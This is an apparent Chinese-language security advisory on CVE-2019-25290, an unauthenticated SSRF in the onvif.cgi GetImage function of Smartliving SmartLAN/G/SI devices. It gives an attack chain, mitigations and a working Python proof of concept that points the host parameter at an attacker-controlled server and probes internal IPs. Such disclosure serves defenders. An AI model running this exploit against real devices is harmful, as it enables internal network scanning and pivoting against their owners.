IPBUF安全漏洞报告
English
CVE-2019-25290 CVSS 5.3 中危

CVE-2019-25290 Smartliving SmartLAN/G/SI SSRF服务器端请求伪造漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2019-25290
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Smartliving SmartLAN/G/SI

相关标签

服务器端请求伪造SSRFSmartliving SmartLANONVIFCVE-2019-25290无需认证网络边界设备物联网安全

漏洞概述

CVE-2019-25290是Smartliving SmartLAN/G/SI设备中存在的一个服务器端请求伪造漏洞。该漏洞影响6.x及以下版本设备,源于GetImage功能中未对host参数进行充分验证。攻击者无需认证即可利用此漏洞,通过onvif.cgi端点发送特制请求,指定外部域名或IP地址,绕过防火墙限制并执行网络枚举。此漏洞允许攻击者将易受攻击的设备作为跳板,发起针对内网资源的任意HTTP请求,可能导致敏感信息泄露、内网扫描以及进一步的攻击活动。由于无需认证即可利用,且CVSS评分达到5.3分,建议尽快采取修复措施。

技术细节

漏洞存在于Smartliving SmartLAN/G/SI设备的Web服务组件中,具体位于onvif.cgi接口的GetImage功能模块。该接口通过HTTP GET/POST请求接收用户可控的host参数,攻击者可指定任意域名或IP地址作为参数值。服务器端在处理请求时,会直接使用该参数发起HTTP请求,从而实现了服务器端请求伪造。攻击者可以利用此功能将请求转发至内网其他系统或外部恶意服务器,实现网络探测、端口扫描或作为攻击其他系统的代理。由于设备通常部署在网络边界且具有较高的网络访问权限,此漏洞可被用于绕过网络隔离措施,对内网安全造成严重威胁。攻击者还可通过DNS重绑定或指定内网IP(如192.168.x.x、10.x.x.x)的方式访问内部资源。

攻击链分析

STEP 1
步骤1
攻击者识别目标Smartliving SmartLAN/G/SI设备(通常位于网络边界),发现其onvif.cgi接口可访问
STEP 2
步骤2
攻击者构造恶意HTTP请求,在host参数中指定目标地址(内网IP或外部控制服务器)
STEP 3
步骤3
服务器端直接使用攻击者提供的host参数发起HTTP请求,绕过防火墙执行SSRF攻击
STEP 4
步骤4
攻击者通过响应时间或内容差异判断内网服务状态,实现网络枚举和端口扫描
STEP 5
步骤5
利用设备作为代理,可进一步探测内网敏感服务、窃取数据或作为横向移动跳板

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2019-25290 PoC - SSRF in Smartliving SmartLAN/G/SI # Target: Smartliving SmartLAN/G/SI <= 6.x # Endpoint: onvif.cgi def exploit_ssrf(target_url, attacker_server): """ Exploit SSRF vulnerability in GetImage functionality target_url: Target device URL (e.g., http://192.168.1.100) attacker_server: Attacker's controlled server to receive requests """ endpoint = f"{target_url}/onvif/cgi-bin/onvif.cgi" params = { 'Service': 'GetImage', 'host': attacker_server, # SSRF payload - arbitrary domain/IP 'port': '80', 'snap': 'true' } try: response = requests.get(endpoint, params=params, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] Response status: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None # Internal network enumeration example def enumerate_internal(target_url): """Enumerate internal network by making requests to internal IPs""" endpoint = f"{target_url}/onvif/cgi-bin/onvif.cgi" # Example: Check internal web servers internal_ips = ['192.168.1.1', '192.168.1.100', '10.0.0.1'] for ip in internal_ips: params = {'Service': 'GetImage', 'host': ip, 'port': '80', 'snap': 'true'} try: response = requests.get(endpoint, params=params, timeout=5) print(f"[*] Internal IP {ip}: {response.status_code}") except: pass if __name__ == "__main__": # Usage example target = "http://target-device-ip" attacker = "http://attacker-controlled-server.com" exploit_ssrf(target, attacker)

影响范围

Smartliving SmartLAN/G/SI <= 6.x

防御指南

临时缓解措施
在防火墙或路由器上限制Smartliving设备的外向HTTP/HTTPS流量,仅允许必要的白名单域名通信;临时禁用不必要的ONVIF服务功能;监控设备日志关注异常的外部请求行为;如可能,在网络层隔离该设备,限制其对内网资源的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表